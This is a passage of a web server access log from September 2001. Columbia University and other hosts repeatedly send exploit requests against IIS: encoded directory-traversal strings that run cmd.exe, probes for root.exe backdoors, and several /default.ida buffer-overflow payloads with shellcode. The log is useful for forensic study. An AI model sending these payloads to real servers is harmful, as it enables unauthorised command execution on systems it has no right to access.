  9167. 20010919 06:38:09: wks01-reg.reg.ucl.ac.uk [128.40.87.70] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9168. 20010919 06:38:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9169. 20010919 06:39:23: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9170. 20010919 06:39:23: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9171. 20010919 06:39:23: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9172. 20010919 06:39:23: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9173. 20010919 06:39:23: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9174. 20010919 06:39:23: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9175. 20010919 06:39:24: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9176. 20010919 06:39:24: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9177. 20010919 06:39:24: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9178. 20010919 06:39:24: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9179. 20010919 06:39:24: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9180. 20010919 06:39:24: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9181. 20010919 06:39:24: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9182. 20010919 06:39:24: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9183. 20010919 06:39:24: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9184. 20010919 06:39:24: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9185. 20010919 06:43:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9186. 20010919 06:43:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9187. 20010919 06:43:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9188. 20010919 06:43:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9189. 20010919 06:43:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9190. 20010919 06:43:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9191. 20010919 06:43:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9192. 20010919 06:43:22: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9193. 20010919 06:43:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9194. 20010919 06:43:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9195. 20010919 06:43:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9196. 20010919 06:43:24: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9197. 20010919 06:43:24: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9198. 20010919 06:43:24: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9199. 20010919 06:43:24: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9200. 20010919 06:43:24: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9201. 20010919 06:44:26: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9202. 20010919 06:44:26: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9203. 20010919 06:44:26: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9204. 20010919 06:44:26: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9205. 20010919 06:44:26: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9206. 20010919 06:44:26: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9207. 20010919 06:44:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9208. 20010919 06:44:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9209. 20010919 06:44:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9210. 20010919 06:44:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9211. 20010919 06:44:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9212. 20010919 06:44:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9213. 20010919 06:44:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9214. 20010919 06:44:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9215. 20010919 06:44:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9216. 20010919 06:44:27: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9217. 20010919 06:45:02: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9218. 20010919 06:45:02: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9219. 20010919 06:45:02: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9220. 20010919 06:45:02: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9221. 20010919 06:45:02: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9222. 20010919 06:45:02: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9223. 20010919 06:45:02: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9224. 20010919 06:45:02: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9225. 20010919 06:45:02: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9226. 20010919 06:45:02: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9227. 20010919 06:45:02: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9228. 20010919 06:45:02: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9229. 20010919 06:45:02: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9230. 20010919 06:45:03: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9231. 20010919 06:45:03: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9232. 20010919 06:45:03: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9233. 20010919 06:45:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9234. 20010919 06:45:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9235. 20010919 06:45:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9236. 20010919 06:45:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9237. 20010919 06:45:04: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9238. 20010919 06:45:05: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9239. 20010919 06:45:05: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9240. 20010919 06:45:05: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9241. 20010919 06:45:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9242. 20010919 06:45:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9243. 20010919 06:45:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9244. 20010919 06:45:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9245. 20010919 06:45:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9246. 20010919 06:45:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9247. 20010919 06:45:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9248. 20010919 06:45:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  9249. 20010919 06:45:10: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9250. 20010919 06:48:40: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9251. 20010919 06:48:41: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9252. 20010919 06:48:41: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9253. 20010919 06:48:41: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9254. 20010919 06:48:41: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9255. 20010919 06:48:41: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9256. 20010919 06:48:41: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9257. 20010919 06:48:41: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9258. 20010919 06:48:41: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9259. 20010919 06:48:41: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9260. 20010919 06:48:44: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9261. 20010919 06:48:44: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9262. 20010919 06:48:44: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9263. 20010919 06:48:45: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9264. 20010919 06:48:45: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9265. 20010919 06:48:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9266. 20010919 06:50:21: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9267. 20010919 06:50:21: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9268. 20010919 06:50:21: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9269. 20010919 06:50:21: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9270. 20010919 06:50:21: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9271. 20010919 06:50:21: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9272. 20010919 06:50:21: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9273. 20010919 06:50:21: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9274. 20010919 06:50:21: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9275. 20010919 06:50:22: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9276. 20010919 06:50:22: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9277. 20010919 06:50:22: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9278. 20010919 06:50:22: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9279. 20010919 06:50:22: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9280. 20010919 06:50:22: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9281. 20010919 06:50:22:  [128.121.246.153] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9282. 20010919 06:51:02:  [128.121.246.153] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9283. 20010919 06:51:22:  [128.121.246.153] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9284. 20010919 06:51:41:  [128.121.246.153] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9285. 20010919 06:51:59:  [128.121.246.153] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9286. 20010919 06:52:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9287. 20010919 06:52:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9288. 20010919 06:52:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9289. 20010919 06:52:19:  [128.121.246.153] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9290. 20010919 06:52:37: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9291. 20010919 06:52:37: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9292. 20010919 06:52:37: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9293. 20010919 06:52:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9294. 20010919 06:52:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9295. 20010919 06:52:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9296. 20010919 06:52:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9297. 20010919 06:52:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9298. 20010919 06:52:39:  [128.121.246.153] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9299. 20010919 06:52:57: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9300. 20010919 06:52:57: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9301. 20010919 06:52:57: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9302. 20010919 06:52:57: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9303. 20010919 06:52:57: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9304. 20010919 06:52:58:  [128.121.246.153] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9305. 20010919 06:53:16:  [128.121.246.153] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9306. 20010919 06:53:34:  [128.121.246.153] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9307. 20010919 06:53:53:  [128.121.246.153] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9308. 20010919 06:54:11:  [128.121.246.153] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9309. 20010919 06:54:29:  [128.121.246.153] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9310. 20010919 06:54:48:  [128.121.246.153] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9311. 20010919 06:55:06:  [128.121.246.153] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9312. 20010919 06:55:25:  [128.121.246.153] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9313. 20010919 06:55:43: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  9314. 20010919 06:59:44: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  9315. 20010919 07:01:59: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9316. 20010919 07:03:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9317. 20010919 07:03:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9318. 20010919 07:03:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9319. 20010919 07:03:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9320. 20010919 07:03:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9321. 20010919 07:03:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9322. 20010919 07:03:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9323. 20010919 07:03:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9324. 20010919 07:03:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9325. 20010919 07:03:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9326. 20010919 07:03:28: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9327. 20010919 07:03:28: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9328. 20010919 07:03:28: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9329. 20010919 07:03:28: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9330. 20010919 07:03:28: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9331. 20010919 07:03:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
